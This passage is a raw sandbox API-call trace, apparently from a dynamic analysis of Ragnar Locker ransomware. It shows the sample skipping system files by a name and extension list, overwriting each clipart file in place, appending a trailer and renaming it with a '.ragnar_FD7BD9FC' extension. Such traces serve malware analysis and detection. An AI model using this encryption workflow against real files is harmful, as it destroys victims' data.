lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.ragnar_FD7BD9FC" [0089.972] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01236U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01236u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.972] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a3d9150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1764, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01239K.JPG", cAlternateFileName="")) returned 1 [0089.972] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.973] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01239K.JPG" | out: lpString1="PH01239K.JPG") returned="PH01239K.JPG" [0089.973] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG") returned=".JPG" [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="autorun.inf") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="boot.ini") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="bootfont.bin") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="bootsect.bak") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="bootmgr") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="bootmgr.efi") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="bootmgfw.efi") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="desktop.ini") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="iconcache.db") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="ntldr") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="ntuser.dat") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="ntuser.dat.log") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="ntuser.ini") returned 1 [0089.973] lstrcmpiW (lpString1="PH01239K.JPG", lpString2="thumbs.db") returned -1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0089.973] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0089.973] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg")) returned 0x20 [0089.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.975] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5988) returned 1 [0089.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x175b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.975] GetProcessHeap () returned 0x580000 [0089.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.975] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.976] VirtualAlloc (lpAddress=0x0, dwSize=0x1764, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.976] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1764, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1764, lpOverlapped=0x0) returned 1 [0089.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.977] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1764, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.977] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1764, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1764, lpOverlapped=0x0) returned 1 [0089.977] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1764, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.978] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.978] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.978] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.978] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.978] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.978] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.978] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.978] GetProcessHeap () returned 0x580000 [0089.978] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.978] CloseHandle (hObject=0xf4) returned 1 [0089.978] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" [0089.978] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.ragnar_FD7BD9FC" [0089.978] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01239K.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01239k.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.979] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbeb51600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbeb51600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01247U.BMP", cAlternateFileName="")) returned 1 [0089.979] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.979] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01247U.BMP" | out: lpString1="PH01247U.BMP") returned="PH01247U.BMP" [0089.979] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP") returned=".BMP" [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="autorun.inf") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="boot.ini") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="bootfont.bin") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="bootsect.bak") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="bootmgr") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="bootmgr.efi") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="desktop.ini") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="iconcache.db") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="ntldr") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="ntuser.dat") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="ntuser.ini") returned 1 [0089.979] lstrcmpiW (lpString1="PH01247U.BMP", lpString2="thumbs.db") returned -1 [0089.979] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.980] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.980] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.980] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.980] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.980] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.980] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.980] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp")) returned 0x20 [0089.980] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.980] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31752) returned 1 [0089.980] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.980] GetProcessHeap () returned 0x580000 [0089.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.980] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.982] VirtualAlloc (lpAddress=0x0, dwSize=0x7c08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.982] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.983] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c08, lpOverlapped=0x0) returned 1 [0089.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.984] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c08, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.984] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c08, lpOverlapped=0x0) returned 1 [0089.984] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.984] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.984] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.984] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.984] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.985] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.985] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.985] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.985] GetProcessHeap () returned 0x580000 [0089.985] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.985] CloseHandle (hObject=0xf4) returned 1 [0089.985] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" [0089.985] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.ragnar_FD7BD9FC" [0089.985] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01247U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01247u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.986] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72230800, ftCreationTime.dwHighDateTime=0x1bd4e5f, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x72230800, ftLastWriteTime.dwHighDateTime=0x1bd4e5f, nFileSizeHigh=0x0, nFileSizeLow=0x1e55, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01255G.GIF", cAlternateFileName="")) returned 1 [0089.986] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.986] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01255G.GIF" | out: lpString1="PH01255G.GIF") returned="PH01255G.GIF" [0089.986] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF") returned=".GIF" [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="autorun.inf") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="boot.ini") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="bootfont.bin") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="bootsect.bak") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="bootmgr") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="bootmgr.efi") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="bootmgfw.efi") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="desktop.ini") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="iconcache.db") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="ntldr") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="ntuser.dat") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="ntuser.dat.log") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="ntuser.ini") returned 1 [0089.986] lstrcmpiW (lpString1="PH01255G.GIF", lpString2="thumbs.db") returned -1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0089.986] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0089.986] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif")) returned 0x20 [0089.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.987] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=7765) returned 1 [0089.987] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e4c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.987] GetProcessHeap () returned 0x580000 [0089.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.987] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.988] VirtualAlloc (lpAddress=0x0, dwSize=0x1e55, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.989] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.989] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1e55, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1e55, lpOverlapped=0x0) returned 1 [0089.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.990] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e55, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.990] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1e55, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1e55, lpOverlapped=0x0) returned 1 [0089.990] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e55, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.990] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1e55, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.990] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.990] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.990] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.990] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.991] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.991] GetProcessHeap () returned 0x580000 [0089.991] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.991] CloseHandle (hObject=0xf4) returned 1 [0089.991] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" [0089.991] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.ragnar_FD7BD9FC" [0089.991] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01255G.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01255g.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.991] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: 